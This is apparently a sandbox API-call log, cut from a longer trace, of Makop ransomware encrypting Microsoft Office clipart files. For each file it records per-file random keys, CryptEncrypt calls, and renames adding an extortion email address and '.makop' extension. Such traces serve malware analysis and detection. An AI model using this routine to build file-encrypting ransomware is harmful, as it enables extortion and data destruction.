Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.880] CloseHandle (hObject=0xf0) returned 1 [0142.880] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b853b00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b853b00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x140c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00555_.WMF", cAlternateFileName="")) returned 1 [0142.880] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF") returned 63 [0142.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.881] GetProcessHeap () returned 0x48a0000 [0142.881] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.881] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.881] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.882] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.886] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.886] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.886] GetProcessHeap () returned 0x48a0000 [0142.886] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.886] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.886] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.886] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.887] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.887] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.888] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.888] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.888] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x140c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x140c, lpOverlapped=0x0) returned 1 [0142.904] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1410, dwBufLen=0x1410 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1410) returned 1 [0142.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.904] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1410, lpOverlapped=0x0) returned 1 [0142.905] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.905] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.905] SetEndOfFile (hFile=0xf0) returned 1 [0142.912] GetProcessHeap () returned 0x48a0000 [0142.912] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.912] GetProcessHeap () returned 0x48a0000 [0142.912] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.912] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.914] CloseHandle (hObject=0xf0) returned 1 [0142.914] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30066900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30066900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00559_.WMF", cAlternateFileName="")) returned 1 [0142.914] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF") returned 63 [0142.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.915] GetProcessHeap () returned 0x48a0000 [0142.916] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.916] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.916] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.916] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.916] GetProcessHeap () returned 0x48a0000 [0142.916] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.916] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.916] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.916] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.922] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.922] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.922] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.922] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.922] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.923] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.923] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.923] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x26b0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x26b0, lpOverlapped=0x0) returned 1 [0142.927] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x26b0, dwBufLen=0x26b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x26b0) returned 1 [0142.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.928] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x26b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x26b0, lpOverlapped=0x0) returned 1 [0142.928] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.928] SetEndOfFile (hFile=0xf0) returned 1 [0142.934] GetProcessHeap () returned 0x48a0000 [0142.934] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.934] GetProcessHeap () returned 0x48a0000 [0142.934] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.934] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.936] CloseHandle (hObject=0xf0) returned 1 [0142.937] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17bf3a00, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bf3a00, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x5670, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00563_.WMF", cAlternateFileName="")) returned 1 [0142.937] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF") returned 63 [0142.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.938] GetProcessHeap () returned 0x48a0000 [0142.938] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.938] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.939] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.939] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.939] GetProcessHeap () returned 0x48a0000 [0142.939] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.939] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.939] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.939] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.966] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.966] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.966] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.966] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.966] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.967] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.967] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.967] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5670, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5670, lpOverlapped=0x0) returned 1 [0142.969] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5670, dwBufLen=0x5670 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5670) returned 1 [0142.970] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.970] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5670, lpOverlapped=0x0) returned 1 [0142.970] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.970] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.970] SetEndOfFile (hFile=0xf0) returned 1 [0142.979] GetProcessHeap () returned 0x48a0000 [0142.979] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.980] GetProcessHeap () returned 0x48a0000 [0142.980] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.980] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.980] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.982] CloseHandle (hObject=0xf0) returned 1 [0142.982] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00578_.WMF", cAlternateFileName="")) returned 1 [0142.982] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF") returned 63 [0142.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.984] GetProcessHeap () returned 0x48a0000 [0142.984] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.984] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0142.996] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.996] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.996] GetProcessHeap () returned 0x48a0000 [0142.996] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.996] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.996] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.996] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.997] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.997] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.997] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.997] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.997] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.998] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.998] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.998] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.998] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ae6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ae6, lpOverlapped=0x0) returned 1 [0143.017] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1af0, dwBufLen=0x1af0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1af0) returned 1 [0143.017] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.017] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1af0, lpOverlapped=0x0) returned 1 [0143.017] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.017] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.018] SetEndOfFile (hFile=0xf0) returned 1 [0143.024] GetProcessHeap () returned 0x48a0000 [0143.024] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.024] GetProcessHeap () returned 0x48a0000 